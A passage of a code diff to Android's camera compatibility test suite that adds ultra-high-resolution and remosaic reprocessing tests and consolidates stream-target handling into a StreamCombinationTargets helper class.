-            boolean substituteY8, boolean substituteHeic) throws Exception {
+            boolean substituteY8, boolean substituteHeic, boolean ultraHighResolution)
+            throws Exception {
 
         // Timeout is relaxed by 1 second for LEGACY devices to reduce false positive rate in CTS
-        final int TIMEOUT_FOR_RESULT_MS = (staticInfo.isHardwareLevelLegacy()) ? 2000 : 1000;
+        // TODO: This needs to be adjusted based on feedback
+        final int TIMEOUT_MULTIPLIER = ultraHighResolution ? 2 : 1;
+        final int TIMEOUT_FOR_RESULT_MS =
+                ((staticInfo.isHardwareLevelLegacy()) ? 2000 : 1000) * TIMEOUT_MULTIPLIER;
         final int MIN_RESULT_COUNT = 3;
 
         // Set up outputs
-        List<OutputConfiguration> outputConfigs = new ArrayList<OutputConfiguration>();
-        List<SurfaceTexture> privTargets = new ArrayList<SurfaceTexture>();
-        List<ImageReader> jpegTargets = new ArrayList<ImageReader>();
-        List<ImageReader> yuvTargets = new ArrayList<ImageReader>();
-        List<ImageReader> y8Targets = new ArrayList<ImageReader>();
-        List<ImageReader> rawTargets = new ArrayList<ImageReader>();
-        List<ImageReader> heicTargets = new ArrayList<ImageReader>();
-        List<ImageReader> depth16Targets = new ArrayList<ImageReader>();
+        List<OutputConfiguration> outputConfigs = new ArrayList<>();
+        List<Surface> outputSurfaces = new ArrayList<Surface>();
+        StreamCombinationTargets targets = new StreamCombinationTargets();
 
-        CameraTestUtils.setupConfigurationTargets(combination.getStreamsInformation(), privTargets,
-                jpegTargets, yuvTargets, y8Targets, rawTargets, heicTargets, depth16Targets,
-                outputConfigs, MIN_RESULT_COUNT, substituteY8, substituteHeic, physicalCameraId,
-                mHandler);
+        CameraTestUtils.setupConfigurationTargets(combination.getStreamsInformation(),
+                targets, outputConfigs, outputSurfaces, MIN_RESULT_COUNT, substituteY8,
+                substituteHeic, physicalCameraId, ultraHighResolution,
+                /*multiResStreamConfig*/null, mHandler);
 
         boolean haveSession = false;
         try {
             CaptureRequest.Builder requestBuilder =
                     mCamera.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
 
-            for (OutputConfiguration c : outputConfigs) {
-                requestBuilder.addTarget(c.getSurface());
+            for (Surface s : outputSurfaces) {
+                requestBuilder.addTarget(s);
             }
 
+            if (ultraHighResolution) {
+                requestBuilder.set(CaptureRequest.SENSOR_PIXEL_MODE,
+                        CameraMetadata.SENSOR_PIXEL_MODE_MAXIMUM_RESOLUTION);
+            }
             CameraCaptureSession.CaptureCallback mockCaptureCallback =
                     mock(CameraCaptureSession.CaptureCallback.class);
 
@@ -400,27 +439,7 @@
             }
         }
 
-        for (SurfaceTexture target : privTargets) {
-            target.release();
-        }
-        for (ImageReader target : jpegTargets) {
-            target.close();
-        }
-        for (ImageReader target : yuvTargets) {
-            target.close();
-        }
-        for (ImageReader target : y8Targets) {
-            target.close();
-        }
-        for (ImageReader target : rawTargets) {
-            target.close();
-        }
-        for (ImageReader target : heicTargets) {
-            target.close();
-        }
-        for (ImageReader target : depth16Targets) {
-            target.close();
-        }
+        targets.close();
     }
 
     /**
@@ -429,11 +448,40 @@
      */
     @Test
     public void testMandatoryReprocessConfigurations() throws Exception {
+        testMandatoryReprocessConfigurations(/*maxResolution*/false);
+    }
+
+    /**
+     * Test for making sure the required reprocess input/output combinations for each hardware
+     * level and capability work as expected.
+     */
+    @Test
+    public void testMandatoryMaximumResolutionReprocessConfigurations() throws Exception {
+        testMandatoryReprocessConfigurations(/*maxResolution*/true);
+    }
+
+    /**
+     * Test for making sure the required reprocess input/output combinations for each hardware
+     * level and capability work as expected.
+     */
+    public void testMandatoryReprocessConfigurations(boolean maxResolution) throws Exception {
         for (String id : mCameraIdsUnderTest) {
             openDevice(id);
-            MandatoryStreamCombination[] combinations =
-                    mStaticInfo.getCharacteristics().get(
-                            CameraCharacteristics.SCALER_MANDATORY_STREAM_COMBINATIONS);
+            CameraCharacteristics chars = mStaticInfo.getCharacteristics();
+            if (maxResolution && !CameraTestUtils.hasCapability(
+                  chars, CameraMetadata.REQUEST_AVAILABLE_CAPABILITIES_REMOSAIC_REPROCESSING)) {
+                Log.i(TAG, "Camera id " + id + "doesn't support REMOSAIC_REPROCESSING, skip test");
+                closeDevice(id);
+                continue;
+            }
+            CameraCharacteristics.Key<MandatoryStreamCombination []> ck =
+                    CameraCharacteristics.SCALER_MANDATORY_STREAM_COMBINATIONS;
+
+            if (maxResolution) {
+                ck = CameraCharacteristics.SCALER_MANDATORY_MAXIMUM_RESOLUTION_STREAM_COMBINATIONS;
+            }
+
+            MandatoryStreamCombination[] combinations = chars.get(ck);
             if (combinations == null) {
                 Log.i(TAG, "No mandatory stream combinations for camera: " + id + " skip test");
                 closeDevice(id);
@@ -445,7 +493,7 @@
                     if (combination.isReprocessable()) {
                         Log.i(TAG, "Testing mandatory reprocessable stream combination: " +
                                 combination.getDescription() + " on camera: " + id);
-                        testMandatoryReprocessableStreamCombination(id, combination);
+                        testMandatoryReprocessableStreamCombination(id, combination, maxResolution);
                     }
                 }
             } finally {
@@ -455,10 +503,14 @@
     }
 
     private void testMandatoryReprocessableStreamCombination(String cameraId,
-            MandatoryStreamCombination combination) {
+            MandatoryStreamCombination combination, boolean maxResolution)  throws Exception {
         // Test reprocess stream combination
         testMandatoryReprocessableStreamCombination(cameraId, combination,
-                /*substituteY8*/false, /*substituteHeic*/false);
+                /*substituteY8*/false, /*substituteHeic*/false, maxResolution/*maxResolution*/);
+        if (maxResolution) {
+            // Maximum resolution mode doesn't guarantee HEIC and Y8 streams.
+            return;
+        }
 
         // Test substituting YUV_888 format with Y8 format in reprocess stream combination.
         if (mStaticInfo.isMonochromeWithY8()) {
@@ -471,7 +523,7 @@
             }
             if (substituteY8) {
                 testMandatoryReprocessableStreamCombination(cameraId, combination,
-                        /*substituteY8*/true, /*substituteHeic*/false);
+                        /*substituteY8*/true, /*substituteHeic*/false, false/*maxResolution*/);
             }
         }
 
@@ -485,27 +537,22 @@
             }
             if (substituteHeic) {
                 testMandatoryReprocessableStreamCombination(cameraId, combination,
-                        /*substituteY8*/false, /*substituteHeic*/true);
+                        /*substituteY8*/false, /*substituteHeic*/true, false/*maxResolution*/);
             }
         }
     }
 
     private void testMandatoryReprocessableStreamCombination(String cameraId,
             MandatoryStreamCombination combination, boolean substituteY8,
-            boolean substituteHeic) {
+            boolean substituteHeic, boolean maxResolution) throws Exception {
 
-        final int TIMEOUT_FOR_RESULT_MS = 5000;
+        final int TIMEOUT_MULTIPLIER = maxResolution ? 2 : 1;
+        final int TIMEOUT_FOR_RESULT_MS = 5000 * TIMEOUT_MULTIPLIER;
         final int NUM_REPROCESS_CAPTURES_PER_CONFIG = 3;
 
-        List<SurfaceTexture> privTargets = new ArrayList<>();
-        List<ImageReader> jpegTargets = new ArrayList<>();
-        List<ImageReader> yuvTargets = new ArrayList<>();
-        List<ImageReader> y8Targets = new ArrayList<>();
-        List<ImageReader> rawTargets = new ArrayList<>();
-        List<ImageReader> heicTargets = new ArrayList<>();
-        List<ImageReader> depth16Targets = new ArrayList<>();
+        StreamCombinationTargets targets = new StreamCombinationTargets();
         ArrayList<Surface> outputSurfaces = new ArrayList<>();
-        List<OutputConfiguration> outputConfigs = new ArrayList<OutputConfiguration>();
+        List<OutputConfiguration> outputConfigs = new ArrayList<>();
         ImageReader inputReader = null;
         ImageWriter inputWriter = null;
         SimpleImageReaderListener inputReaderListener = new SimpleImageReaderListener();
@@ -513,8 +560,13 @@
         SimpleCaptureCallback reprocessOutputCaptureListener = new SimpleCaptureCallback();
 
         List<MandatoryStreamInformation> streamInfo = combination.getStreamsInformation();
-        assertTrue("Reprocessable stream combinations should have at least 3 or more streams",
+        if (!maxResolution) {
+            assertTrue("Reprocessable stream combinations should have at least 3 or more streams",
                     (streamInfo != null) && (streamInfo.size() >= 3));
+        } else {
+            assertTrue("Max Resolution Reprocessable stream combinations should have 2 streams",
+                    (streamInfo != null) && (streamInfo.size() == 2));
+        }
 
         assertTrue("The first mandatory stream information in a reprocessable combination must " +
                 "always be input", streamInfo.get(0).isInput());
@@ -531,15 +583,18 @@
         try {
             // The second stream information entry is the ZSL stream, which is configured
             // separately.
-            CameraTestUtils.setupConfigurationTargets(streamInfo.subList(2, streamInfo.size()),
-                    privTargets, jpegTargets, yuvTargets, y8Targets, rawTargets, heicTargets,
-                    depth16Targets, outputConfigs, NUM_REPROCESS_CAPTURES_PER_CONFIG, substituteY8,
-                    substituteHeic, null/*overridePhysicalCameraId*/, mHandler);
+            List<MandatoryStreamInformation> mandatoryStreamInfos = null;
+            if (maxResolution) {
+                mandatoryStreamInfos = new ArrayList<MandatoryStreamInformation>();
+                mandatoryStreamInfos.add(streamInfo.get(1));
 
-            outputSurfaces.ensureCapacity(outputConfigs.size());
-            for (OutputConfiguration config : outputConfigs) {
-                outputSurfaces.add(config.getSurface());
+            } else {
+                mandatoryStreamInfos = streamInfo.subList(2, streamInfo.size());
             }
+            CameraTestUtils.setupConfigurationTargets(mandatoryStreamInfos, targets,
+                    outputConfigs, outputSurfaces, NUM_REPROCESS_CAPTURES_PER_CONFIG,
+                    substituteY8, substituteHeic, null/*overridePhysicalCameraId*/, maxResolution,
+                    /*multiResStreamConfig*/null, mHandler);
 
             InputConfiguration inputConfig = new InputConfiguration(inputSizes.get(0).getWidth(),
                     inputSizes.get(0).getHeight(), inputFormat);
@@ -548,12 +603,13 @@
             // the YUV/Y8 ImageReader for input is also used for output.)
             final boolean inputIsYuv = inputConfig.getFormat() == ImageFormat.YUV_420_888;
             final boolean inputIsY8 = inputConfig.getFormat() == ImageFormat.Y8;
-            final boolean useYuv = inputIsYuv || yuvTargets.size() > 0;
-            final boolean useY8 = inputIsY8 || y8Targets.size() > 0;
-            final int totalNumReprocessCaptures =  NUM_REPROCESS_CAPTURES_PER_CONFIG * (
+            final boolean useYuv = inputIsYuv || targets.mYuvTargets.size() > 0;
+            final boolean useY8 = inputIsY8 || targets.mY8Targets.size() > 0;
+            final int totalNumReprocessCaptures =  NUM_REPROCESS_CAPTURES_PER_CONFIG *
+                    (maxResolution ? 1 : (
                     ((inputIsYuv || inputIsY8) ? 1 : 0) +
-                    (substituteHeic ? heicTargets.size() : jpegTargets.size()) +
-                    (useYuv ? yuvTargets.size() : y8Targets.size()));
+                    (substituteHeic ? targets.mHeicTargets.size() : targets.mJpegTargets.size()) +
+                    (useYuv ? targets.mYuvTargets.size() : targets.mY8Targets.size())));
 
             // It needs 1 input buffer for each reprocess capture + the number of buffers
             // that will be used as outputs.
@@ -579,6 +635,10 @@
             CaptureRequest.Builder builder = mCamera.createCaptureRequest(
                     CameraDevice.TEMPLATE_ZERO_SHUTTER_LAG);
             builder.addTarget(inputReader.getSurface());
+            if (maxResolution) {
+                builder.set(CaptureRequest.SENSOR_PIXEL_MODE,
+                        CameraMetadata.SENSOR_PIXEL_MODE_MAXIMUM_RESOLUTION);
+            }
 
             for (int i = 0; i < totalNumReprocessCaptures; i++) {
                 session.capture(builder.build(), inputCaptureListener, mHandler);
@@ -590,21 +650,26 @@
                 reprocessOutputs.add(inputReader.getSurface());
             }
 
-            for (ImageReader reader : jpegTargets) {
+            for (ImageReader reader : targets.mJpegTargets) {
                 reprocessOutputs.add(reader.getSurface());
             }
 
-            for (ImageReader reader : heicTargets) {
+            for (ImageReader reader : targets.mHeicTargets) {
                 reprocessOutputs.add(reader.getSurface());
             }
 
-            for (ImageReader reader : yuvTargets) {
+            for (ImageReader reader : targets.mYuvTargets) {
                 reprocessOutputs.add(reader.getSurface());
             }
 
-            for (ImageReader reader : y8Targets) {
+            for (ImageReader reader : targets.mY8Targets) {
                 reprocessOutputs.add(reader.getSurface());
             }
+            if (maxResolution) {
+                for (ImageReader reader : targets.mRawTargets) {
+                    reprocessOutputs.add(reader.getSurface());
+                }
+            }
 
             for (int i = 0; i < NUM_REPROCESS_CAPTURES_PER_CONFIG; i++) {
                 for (Surface output : reprocessOutputs) {
@@ -630,34 +695,7 @@
         } finally {
             inputReaderListener.drain();
             reprocessOutputCaptureListener.drain();
-
-            for (SurfaceTexture target : privTargets) {
-                target.release();
-            }
-
-            for (ImageReader target : jpegTargets) {
-                target.close();
-            }
-
-            for (ImageReader target : yuvTargets) {
-                target.close();
-            }
-
-            for (ImageReader target : y8Targets) {
-                target.close();
-            }
-
-            for (ImageReader target : rawTargets) {
-                target.close();
-            }
-
-            for (ImageReader target : heicTargets) {
-                target.close();
-            }
-
-            for (ImageReader target : depth16Targets) {
-                target.close();
-            }
+            targets.close();
 
             if (inputReader != null) {
                 inputReader.close();
@@ -2062,7 +2100,8 @@
         // the first stream configuration entry will contain the input format and size
         // as well as the first matching output.
         int streamCount = combination.length / 2;
-        ArrayList<Pair<Pair<Integer, Boolean>, Size>> currentCombination =
+
+        List<Pair<Pair<Integer, Boolean>, Size>> currentCombination =
                 new ArrayList<Pair<Pair<Integer, Boolean>, Size>>(streamCount);
         for (int i = 0; i < combination.length; i += 2) {
             if (isInput && (i == 0)) {
diff --git a/tests/camera/src/android/hardware/camera2/cts/StaticMetadataTest.java b/tests/camera/src/android/hardware/camera2/cts/StaticMetadataTest.java
index a6c477c..a588c3e 100644
--- a/tests/camera/src/android/hardware/camera2/cts/StaticMetadataTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/StaticMetadataTest.java
@@ -423,6 +423,7 @@
 
             case REQUEST_AVAILABLE_CAPABILITIES_YUV_REPROCESSING:
             case REQUEST_AVAILABLE_CAPABILITIES_PRIVATE_REPROCESSING:
+            case REQUEST_AVAILABLE_CAPABILITIES_REMOSAIC_REPROCESSING:
                 // Tested in ExtendedCameraCharacteristicsTest
                 return;
             case REQUEST_AVAILABLE_CAPABILITIES_DEPTH_OUTPUT:
@@ -435,7 +436,21 @@
                 // Tested in ExtendedCameraCharacteristicsTest
                 return;
             case REQUEST_AVAILABLE_CAPABILITIES_SECURE_IMAGE_DATA:
-                // No other restrictions with other metadata keys which  are reliably testable.
+                if (!isCapabilityAvailable) {
+                    mCollector.expectTrue(
+                        "SCALER_DEFAULT_SECURE_IMAGE_SIZE must not present if the device" +
+                                "does not support SECURE_IMAGE_DATA capability",
+                        !mStaticInfo.areKeysAvailable(
+                                CameraCharacteristics.SCALER_DEFAULT_SECURE_IMAGE_SIZE));
+                }
+                return;
+            case REQUEST_AVAILABLE_CAPABILITIES_ULTRA_HIGH_RESOLUTION_SENSOR:
+                resultKeys.add(CaptureResult.SENSOR_RAW_BINNING_FACTOR_USED);
+                resultKeys.add(CaptureResult.SENSOR_PIXEL_MODE);
+                requestKeys.add(CaptureRequest.SENSOR_PIXEL_MODE);
+                additionalRequirements.add(new Pair<String, Boolean>(
+                        "Must support maximum resolution keys",
+                        mStaticInfo.areMaximumResolutionKeysSupported()));
                 return;
             default:
                 capabilityName = "Unknown";
diff --git a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2AndroidTestCase.java b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2AndroidTestCase.java
index 0b50e95..6d80169 100644
--- a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2AndroidTestCase.java
+++ b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2AndroidTestCase.java
@@ -96,7 +96,16 @@
      */
     @Override
     public void setUp() throws Exception {
-        super.setUp();
+        setUp(false);
+    }
+
+    /**
+     * Set up the camera2 test case required environments, including CameraManager,
+     * HandlerThread, Camera IDs, and CameraStateCallback etc.
+     * @param useAll whether all camera ids are to be used for system camera tests
+     */
+    public void setUp(boolean useAll) throws Exception {
+        super.setUp(useAll);
         mWindowManager = (WindowManager) mContext.getSystemService(Context.WINDOW_SERVICE);
 
         mHandlerThread = new HandlerThread(TAG);
@@ -429,9 +438,17 @@
     }
 
     protected void checkImageReaderSessionConfiguration(String msg) throws Exception {
-        List<OutputConfiguration> outputConfigs = new ArrayList<OutputConfiguration>();
-        outputConfigs.add(new OutputConfiguration(mReaderSurface));
+        checkImageReaderSessionConfiguration(msg, /*physicalCameraId*/null);
+    }
 
+    protected void checkImageReaderSessionConfiguration(String msg, String physicalCameraId)
+            throws Exception {
+        List<OutputConfiguration> outputConfigs = new ArrayList<OutputConfiguration>();
+        OutputConfiguration config = new OutputConfiguration(mReaderSurface);
+        if (physicalCameraId != null) {
+            config.setPhysicalCameraId(physicalCameraId);
+        }
+        outputConfigs.add(config);
         checkSessionConfigurationSupported(mCamera, mHandler, outputConfigs, /*inputConfig*/ null,
                 SessionConfiguration.SESSION_REGULAR, /*expectedResult*/ true, msg);
     }
diff --git a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2AndroidTestRule.java b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2AndroidTestRule.java
index 394f346..713d132 100644
--- a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2AndroidTestRule.java
+++ b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2AndroidTestRule.java
@@ -100,6 +100,10 @@
         mContext = context;
     }
 
+    public String getDebugFileNameBase() {
+        return mDebugFileNameBase;
+    }
+
     public Context getContext() {
         return mContext;
     }
diff --git a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2MultiViewTestCase.java b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2MultiViewTestCase.java
index 090aa6c..5576780 100644
--- a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2MultiViewTestCase.java
+++ b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2MultiViewTestCase.java
@@ -75,8 +75,6 @@
     private static final String TAG = "MultiViewTestCase";
     private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
 
-    private static final long SHORT_SLEEP_WAIT_TIME_MS = 100;
-
     protected TextureView[] mTextureView =
             new TextureView[Camera2MultiViewCtsActivity.MAX_TEXTURE_VIEWS];
     protected Handler mHandler;
@@ -330,30 +328,6 @@
         camera.verifyCreateSessionWithConfigsFailure(configs);
     }
 
-    /**
-     * Wait until the SurfaceTexture available from the TextureView, then return it.
-     * Return null if the wait times out.
-     *
-     * @param timeOutMs The timeout value for the wait
-     * @return The available SurfaceTexture, return null if the wait times out.
-     */
-    protected SurfaceTexture getAvailableSurfaceTexture(long timeOutMs, TextureView view) {
-        long waitTime = timeOutMs;
-
-        while (!view.isAvailable() && waitTime > 0) {
-            long startTimeMs = SystemClock.elapsedRealtime();
-            SystemClock.sleep(SHORT_SLEEP_WAIT_TIME_MS);
-            waitTime -= (SystemClock.elapsedRealtime() - startTimeMs);
-        }
-
-        if (view.isAvailable()) {
-            return view.getSurfaceTexture();
-        } else {
-            Log.w(TAG, "Wait for SurfaceTexture available timed out after " + timeOutMs + "ms");
-            return null;
-        }
-    }
-
     public static class CameraPreviewListener implements TextureView.SurfaceTextureListener {
         private boolean mFirstPreviewAvailable = false;
         private final ConditionVariable mPreviewDone = new ConditionVariable();
diff --git a/tests/camera/src/android/hardware/cts/CameraGLTest.java b/tests/camera/src/android/hardware/cts/CameraGLTest.java
index a9e82ef..7478e79 100644
--- a/tests/camera/src/android/hardware/cts/CameraGLTest.java
+++ b/tests/camera/src/android/hardware/cts/CameraGLTest.java
@@ -136,15 +136,15 @@
                 // Save the looper so that we can terminate this thread
                 // after we are done with it.
                 mLooper = Looper.myLooper();
-                // These must be instantiated outside the UI thread, since the
-                // UI thread will be doing a lot of waiting, stopping callbacks.
-                mCamera = Camera.open(cameraId);
                 try {
                     mIsExternalCamera = CameraUtils.isExternal(
                             mActivityRule.getActivity().getApplicationContext(), cameraId);
                 } catch (Exception e) {
                     Log.e(TAG, "Unable to query external camera!" + e);
                 }
+                // These must be instantiated outside the UI thread, since the
+                // UI thread will be doing a lot of waiting, stopping callbacks.
+                mCamera = Camera.open(cameraId);
                 mSurfaceTexture = new SurfaceTexture(mRenderer.getTextureID());
                 Log.v(TAG, "Camera " + cameraId + " is opened.");
                 startDone.open();
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/Camera2ParameterizedTestCase.java b/tests/camera/utils/src/android/hardware/camera2/cts/Camera2ParameterizedTestCase.java
index 6d90f2e..dcab9ed 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/Camera2ParameterizedTestCase.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/Camera2ParameterizedTestCase.java
@@ -36,10 +36,21 @@
     // (mAdoptShellPerm == true), we have only system camera ids in the array and not normal camera
     // ids.
     protected String[] mCameraIdsUnderTest;
+    protected boolean mUseAll = false;
 
     @Override
     public void setUp() throws Exception {
+        setUp(/*useAll*/false);
+    }
+
+    /**
+     * setUp camera2 related properties for parameterized cts tests
+     *
+     * @param useAll whether all camera ids are to be used for system camera tests
+     */
+    public void setUp(boolean useAll) throws Exception {
         super.setUp();
+        mUseAll = useAll;
         /**
          * Workaround for mockito and JB-MR2 incompatibility
          *
@@ -68,6 +79,7 @@
 
     private String[] deriveCameraIdsUnderTest() throws Exception {
         String[] idsUnderTest =
+                mAdoptShellPerm && mUseAll ? mCameraManager.getCameraIdListNoLazy() :
                 CameraTestUtils.getCameraIdListForTesting(mCameraManager, mAdoptShellPerm);
         assertNotNull("Camera ids shouldn't be null", idsUnderTest);
         if (mOverrideCameraId != null) {
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
index 6737b54..d4d0be1 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
@@ -32,6 +32,7 @@
 import android.hardware.camera2.CaptureFailure;
 import android.hardware.camera2.CaptureRequest;
 import android.hardware.camera2.CaptureResult;
+import android.hardware.camera2.MultiResolutionImageReader;
 import android.hardware.camera2.cts.helpers.CameraErrorCollector;
 import android.hardware.camera2.cts.helpers.StaticMetadata;
 import android.hardware.camera2.params.InputConfiguration;
@@ -40,6 +41,8 @@
 import android.hardware.camera2.params.MeteringRectangle;
 import android.hardware.camera2.params.MandatoryStreamCombination;
 import android.hardware.camera2.params.MandatoryStreamCombination.MandatoryStreamInformation;
+import android.hardware.camera2.params.MultiResolutionStreamConfigurationMap;
+import android.hardware.camera2.params.MultiResolutionStreamInfo;
 import android.hardware.camera2.params.OutputConfiguration;
 import android.hardware.camera2.params.SessionConfiguration;
 import android.hardware.camera2.params.StreamConfigurationMap;
@@ -51,6 +54,7 @@
 import android.media.ImageWriter;
 import android.media.Image.Plane;
 import android.os.Build;
+import android.os.ConditionVariable;
 import android.os.Handler;
 import android.util.Log;
 import android.util.Pair;
@@ -76,6 +80,7 @@
 import java.nio.ByteBuffer;
 import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.Collection;
 import java.util.Collections;
 import java.util.Comparator;
 import java.util.Date;
@@ -131,6 +136,8 @@
     private static final float EXIF_EXPOSURE_TIME_MIN_ERROR_MARGIN_SEC = 0.002f;
     private static final float EXIF_APERTURE_ERROR_MARGIN = 0.001f;
 
+    private static final float ZOOM_RATIO_THRESHOLD = 0.01f;
+
     private static final Location sTestLocation0 = new Location(LocationManager.GPS_PROVIDER);
     private static final Location sTestLocation1 = new Location(LocationManager.GPS_PROVIDER);
     private static final Location sTestLocation2 = new Location(LocationManager.NETWORK_PROVIDER);
@@ -207,13 +214,150 @@
         return writer;
     }
 
+    /**
+     * Utility class to store the targets for mandatory stream combination test.
+     */
+    public static class StreamCombinationTargets {
+        public List<SurfaceTexture> mPrivTargets = new ArrayList<>();
+        public List<ImageReader> mJpegTargets = new ArrayList<>();
+        public List<ImageReader> mYuvTargets = new ArrayList<>();
+        public List<ImageReader> mY8Targets = new ArrayList<>();
+        public List<ImageReader> mRawTargets = new ArrayList<>();
+        public List<ImageReader> mHeicTargets = new ArrayList<>();
+        public List<ImageReader> mDepth16Targets = new ArrayList<>();
+
+        public List<MultiResolutionImageReader> mPrivMultiResTargets = new ArrayList<>();
+        public List<MultiResolutionImageReader> mJpegMultiResTargets = new ArrayList<>();
+        public List<MultiResolutionImageReader> mYuvMultiResTargets = new ArrayList<>();
+        public List<MultiResolutionImageReader> mRawMultiResTargets = new ArrayList<>();
+
+        public void close() {
+            for (SurfaceTexture target : mPrivTargets) {
+                target.release();
+            }
+            for (ImageReader target : mJpegTargets) {
+                target.close();
+            }
+            for (ImageReader target : mYuvTargets) {
+                target.close();
+            }
+            for (ImageReader target : mY8Targets) {
+                target.close();
+            }
+            for (ImageReader target : mRawTargets) {
+                target.close();
+            }
+            for (ImageReader target : mHeicTargets) {
+                target.close();
+            }
+            for (ImageReader target : mDepth16Targets) {
+                target.close();
+            }
+
+            for (MultiResolutionImageReader target : mPrivMultiResTargets) {
+                target.close();
+            }
+            for (MultiResolutionImageReader target : mJpegMultiResTargets) {
+                target.close();
+            }
+            for (MultiResolutionImageReader target : mYuvMultiResTargets) {
+                target.close();
+            }
+            for (MultiResolutionImageReader target : mRawMultiResTargets) {
+                target.close();
+            }
+        }
+    }
+
+    private static void configureTarget(StreamCombinationTargets targets,
+            List<OutputConfiguration> outputConfigs, List<Surface> outputSurfaces,
+            int format, Size targetSize, int numBuffers, String overridePhysicalCameraId,
+            MultiResolutionStreamConfigurationMap multiResStreamConfig,
+            boolean isUltraHighResolution, boolean isCompatibleTarget,
+            boolean createMultiResiStreamConfig, ImageDropperListener listener, Handler handler) {
+        if (createMultiResiStreamConfig) {
+            Collection<MultiResolutionStreamInfo> multiResolutionStreams =
+                    multiResStreamConfig.getOutputInfo(format);
+            MultiResolutionImageReader multiResReader = new MultiResolutionImageReader(
+                    multiResolutionStreams, format, numBuffers);
+            multiResReader.setOnImageAvailableListener(listener, new HandlerExecutor(handler));
+            Collection<OutputConfiguration> configs =
+                    OutputConfiguration.createInstancesForMultiResolutionOutput(multiResReader);
+            outputConfigs.addAll(configs);
+            outputSurfaces.add(multiResReader.getSurface());
+            switch (format) {
+                case ImageFormat.PRIVATE:
+                    targets.mPrivMultiResTargets.add(multiResReader);
+                    break;
+                case ImageFormat.JPEG:
+                    targets.mJpegMultiResTargets.add(multiResReader);
+                    break;
+                case ImageFormat.YUV_420_888:
+                    targets.mYuvMultiResTargets.add(multiResReader);
+                    break;
+                case ImageFormat.RAW_SENSOR:
+                    targets.mRawMultiResTargets.add(multiResReader);
+                    break;
+                default:
+                    fail("Unknown/Unsupported output format " + format);
+            }
+        } else {
+            if (format == ImageFormat.PRIVATE) {
+                SurfaceTexture target = new SurfaceTexture(/*random int*/1);
+                target.setDefaultBufferSize(targetSize.getWidth(), targetSize.getHeight());
+                OutputConfiguration config = new OutputConfiguration(new Surface(target));
+                if (overridePhysicalCameraId != null) {
+                    config.setPhysicalCameraId(overridePhysicalCameraId);
+                }
+                outputConfigs.add(config);
+                if (isCompatibleTarget) {
+                    outputSurfaces.add(config.getSurface());
+                }
+                targets.mPrivTargets.add(target);
+            } else {
+                ImageReader target = ImageReader.newInstance(targetSize.getWidth(),
+                        targetSize.getHeight(), format, numBuffers);
+                target.setOnImageAvailableListener(listener, handler);
+                OutputConfiguration config = new OutputConfiguration(target.getSurface());
+                if (overridePhysicalCameraId != null) {
+                    config.setPhysicalCameraId(overridePhysicalCameraId);
+                }
+                outputConfigs.add(config);
+                if (isCompatibleTarget) {
+                    outputSurfaces.add(config.getSurface());
+                }
+                switch (format) {
+                    case ImageFormat.JPEG:
+                      targets.mJpegTargets.add(target);
+                      break;
+                    case ImageFormat.YUV_420_888:
+                      targets.mYuvTargets.add(target);
+                      break;
+                    case ImageFormat.Y8:
+                      targets.mY8Targets.add(target);
+                      break;
+                    case ImageFormat.RAW_SENSOR:
+                      targets.mRawTargets.add(target);
+                      break;
+                    case ImageFormat.HEIC:
+                      targets.mHeicTargets.add(target);
+                      break;
+                    case ImageFormat.DEPTH16:
+                      targets.mDepth16Targets.add(target);
+                      break;
+                    default:
+                      fail("Unknown/Unsupported output format " + format);
+                }
+            }
+        }
+    }
+
     public static void setupConfigurationTargets(List<MandatoryStreamInformation> streamsInfo,
-            List<SurfaceTexture> privTargets, List<ImageReader> jpegTargets,
-            List<ImageReader> yuvTargets, List<ImageReader> y8Targets,
-            List<ImageReader> rawTargets, List<ImageReader> heicTargets,
-            List<ImageReader> depth16Targets, List<OutputConfiguration> outputConfigs,
-            int numBuffers, boolean substituteY8, boolean substituteHeic,
-            String overridePhysicalCameraId, Handler handler) {
+            StreamCombinationTargets targets,
+            List<OutputConfiguration> outputConfigs,
+            List<Surface> outputSurfaces, int numBuffers, boolean substituteY8,
+            boolean substituteHeic, String overridePhysicalCameraId, boolean ultraHighResolution,
+            MultiResolutionStreamConfigurationMap multiResStreamConfig, Handler handler) {
 
         ImageDropperListener imageDropperListener = new ImageDropperListener();
 
@@ -227,100 +371,40 @@
             } else if (substituteHeic && (format == ImageFormat.JPEG)) {
                 format = ImageFormat.HEIC;
             }
-            Surface newSurface;
             Size[] availableSizes = new Size[streamInfo.getAvailableSizes().size()];
             availableSizes = streamInfo.getAvailableSizes().toArray(availableSizes);
+            boolean isUltraHighResolution = streamInfo.isUltraHighResolution();
+            boolean isCompatibleTarget = (isUltraHighResolution == ultraHighResolution);
             Size targetSize = CameraTestUtils.getMaxSize(availableSizes);
-
+            boolean createMultiResReader =
+                    (multiResStreamConfig != null &&
+                     !multiResStreamConfig.getOutputInfo(format).isEmpty() &&
+                     streamInfo.isMaximumSize());
             switch (format) {
-                case ImageFormat.PRIVATE: {
-                    SurfaceTexture target = new SurfaceTexture(/*random int*/1);
-                    target.setDefaultBufferSize(targetSize.getWidth(), targetSize.getHeight());
-                    OutputConfiguration config = new OutputConfiguration(new Surface(target));
-                    if (overridePhysicalCameraId != null) {
-                        config.setPhysicalCameraId(overridePhysicalCameraId);
-                    }
-                    outputConfigs.add(config);
-                    privTargets.add(target);
-                    break;
-                }
-                case ImageFormat.JPEG: {
